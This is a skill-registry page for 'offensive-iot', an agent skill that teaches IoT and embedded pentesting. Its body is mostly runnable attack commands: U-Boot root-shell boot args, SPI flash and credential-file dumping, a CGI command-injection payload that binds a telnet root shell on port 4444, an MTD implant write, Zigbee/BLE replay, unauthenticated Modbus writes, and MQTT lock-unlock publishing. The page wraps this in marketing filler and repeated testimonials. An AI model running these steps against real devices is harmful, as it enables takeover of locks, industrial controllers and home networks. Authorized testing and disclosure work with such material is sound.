Agent skill / SnailSploit
### offensive-iot
Core file
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-iotExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-iotFetches offensive-iot from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate offensive-iot. Access via /offensive-iotin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Copy the command for your terminal
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-iotWorks with
| name | offensive-iot |
| description | "IoT and embedded device security testing methodology. Covers hardware reconnaissance (UART, JTAG, SWD, SPI flash, I2C EEPROM, eMMC chip-off), firmware acquisition (vendor portals, OTA capture, flash dump, binwalk extraction), firmware analysis (filesystem mounting, binary triage, hardcoded secrets, default credential discovery), bootloader attacks (U-Boot console, secure-boot bypass, fault injection), runtime attacks on embedded Linux/RTOS (busybox CVEs, MTD writes, /dev/mem), wireless protocol attacks (Zigbee, BLE, Z-Wave, LoRaWAN, Thread/Matter, sub-GHz), MQTT/CoAP/Modbus/BACnet/OPC-UA exploitation, mobile companion app analysis, cloud-IoT API abuse, and side-channel/glitching basics. Use for IoT pentest, smart-home assessment, ICS/OT testing, or embedded vulnerability research." |
TX, RX, TCK, TMS, TDO, TDI, RST, BOOT| Tool | Use |
|---|---|
| Multimeter | Identify GND, VCC rails before connecting |
| Logic analyzer (Saleae, DSLogic) | Find UART baud, SPI clock, identify protocols |
| USB-UART (FT232, CP2102) | UART console |
| Bus Pirate / Glasgow | UART, SPI, I2C, JTAG generic |
| J-Link / Black Magic Probe | JTAG / SWD MCU debugging |
| CH341A programmer | Cheap SPI flash dumper |
| XGecu T48 | Modern universal programmer (NAND/eMMC/SPI) |
| ChipQuik / hot-air | Chip-off desolder |
# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
echo "=== $b ==="
timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log
Look for: U-Boot console (often Hit any key countdown), Linux init messages, root shell on console, login prompt.
# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot: 0
=> printenv # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot # Linux comes up to root shell, no login
If U-Boot is locked, try:
CONFIG_DELAY_AUTOBOOT_KEYED keyword (vendor-specific)Ctrl+C / Ctrl+B / specific magic strings# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin
# Verify
file firmware.bin && binwalk firmware.bin
If the SoC fights you: desolder the SPI chip, dump in socket, re-solder.
eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.
NAND requires bit-flipping and ECC handling — nanddump/yaffshiv/ubireader post-extraction.
Many devices fetch firmware over HTTP(S). MITM the device:
# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNS
Capture the URL, download directly, dissect.
binwalk -Me firmware.bin # Extract recursively
binwalk -E firmware.bin # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"
# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin
# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfs
# Hardcoded credentials and keys
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/
find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"
# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/
# Setuid binaries
find rootfs -perm -4000 -type f
# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "
# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"
GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.
# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi
Common patterns:
system() / popen() with concatenated query string argssprintf then system — easy command injectionTry (per device class): admin/admin, root/root, root/<empty>, admin/password, support/support, cisco/cisco, vendor brand as user/pass. Always try root/<serial number> — many vendors use a per-device default.
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;
If you have a root shell:
cat /proc/mtd # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin
On older kernels without CONFIG_STRICT_DEVMEM, /dev/mem is read/write to physical memory — full system compromise from any root context.
setenv bootargs ${bootargs} init=/bin/shsetenv preboot 'echo 1 > /sys/...' (run command before kernel)tftpboot — load attacker kernel from networkbootm of a memory-resident image you loadb-uploaded over UARTModern devices verify signed bootloaders / kernels. Bypass paths:
Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
1. Locate target instruction window via UART timing or power trace
2. Apply glitch (V drop / EM pulse) at that offset
3. Sweep delay and width; success = corrupted check, accepted unsigned image
| RTOS | Notes |
|---|---|
| FreeRTOS | Single binary, no MMU often → stack overflow → straight RIP control |
| Zephyr | MMU/MPU optional; verify isolation actually enabled |
| ThreadX | Microsoft now, mostly closed |
| MicroEJ / Mbed OS | Java/C mix — type confusion and JNI bridges |
| ESP-IDF (Espressif) | Wi-Fi/BLE stacks, OTA chain, secure boot v2 |
| QNX | Older versions: pdebug shell on serial = root |
# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
-c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"
# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"
# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)
# Discover and enumerate
bettercap -eval "ble.recon on; events.show 60; ble.show"
# GATT introspection
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> char-desc
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
Attack surface: characteristic write without auth, pairing downgrade ("Just Works" forced), session key reuse, app-side TLS-equivalent missing.
# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E
zbstumbler -i 0
zbdump -c 11 -w zigbee.pcap
# KillerBee — replay, scapy-dot15d4 for fuzzing
zbreplay -f zigbee.pcap -i 0
Touchlink commissioning: known transport key in the wild (0x9F559A553B7A6B2C…) — many consumer devices accept Touchlink commissioning from any nearby radio.
S0 security uses fixed network-key derivation; S2 fixes this. Older bulbs / locks still on S0 are attackable with Z-Force / EZ-Wave.
LoRaPWN, ChirpStack for analysis# HackRF / RTL-SDR
rtl_433 -f 433.92M -A # auto-decoder for many devices
gqrx # interactive
# Capture, analyze in Inspectrum, replay with hackrf_transfer
Targets: garage doors (KeeLoq rolling-code analysis), smart plugs (fixed code = easy replay), tire-pressure monitors (TPMS spoofing), industrial telemetry.
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1) # No auth in the protocol
# UDP/47808
bacnet-stack/who-is 10.0.0.0/24
# Read property without auth in many deployments
Modern OPC-UA has security profiles; many deployments use None for compatibility. Test:
Snap7 library; PLC start/stop, DB read/write commands historically unauthenticated. Stuxnet's surface.
mosquitto_sub -h target.broker -t '#' -v
# # = wildcard, prints every retained message → secrets, sensor data, control topics
mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'
Many cloud brokers don't restrict topic ACL by default — connect with empty creds, subscribe #, replay device commands.
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'
DTLS often misconfigured (PSK in firmware, no rotation).
Most IoT vulns today live in the cloud + companion app pair, not the device itself.
# Decompile Android companion
apktool d Vendor.apk -o app
jadx -d app_src Vendor.apk
# Look for: API base URL, signing keys, MQTT broker creds, device-claim flow
grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/
# Patch SSL pinning (frida)
frida -U -l ssl-pin-bypass.js -f com.vendor.app
Test the cloud API for:
/devices/<id> endpointsFor each finding capture:
[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
offensive-iot reduced setup friction for our internal harness; good balance of opinion and flexibility.
Registry listing for offensive-iot matched our evaluation — installs cleanly and behaves as described in the markdown.
Solid pick for teams standardizing on skills: offensive-iot is focused, and the summary matches what you get after install.
We added offensive-iot from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
Keeps context tight: offensive-iot is the kind of skill you can hand to a new teammate without a long onboarding doc.
Solid pick for teams standardizing on skills: offensive-iot is focused, and the summary matches what you get after install.
offensive-iot is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
I recommend offensive-iot for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
Useful defaults in offensive-iot — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
We added offensive-iot from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
showing 1-10 of 42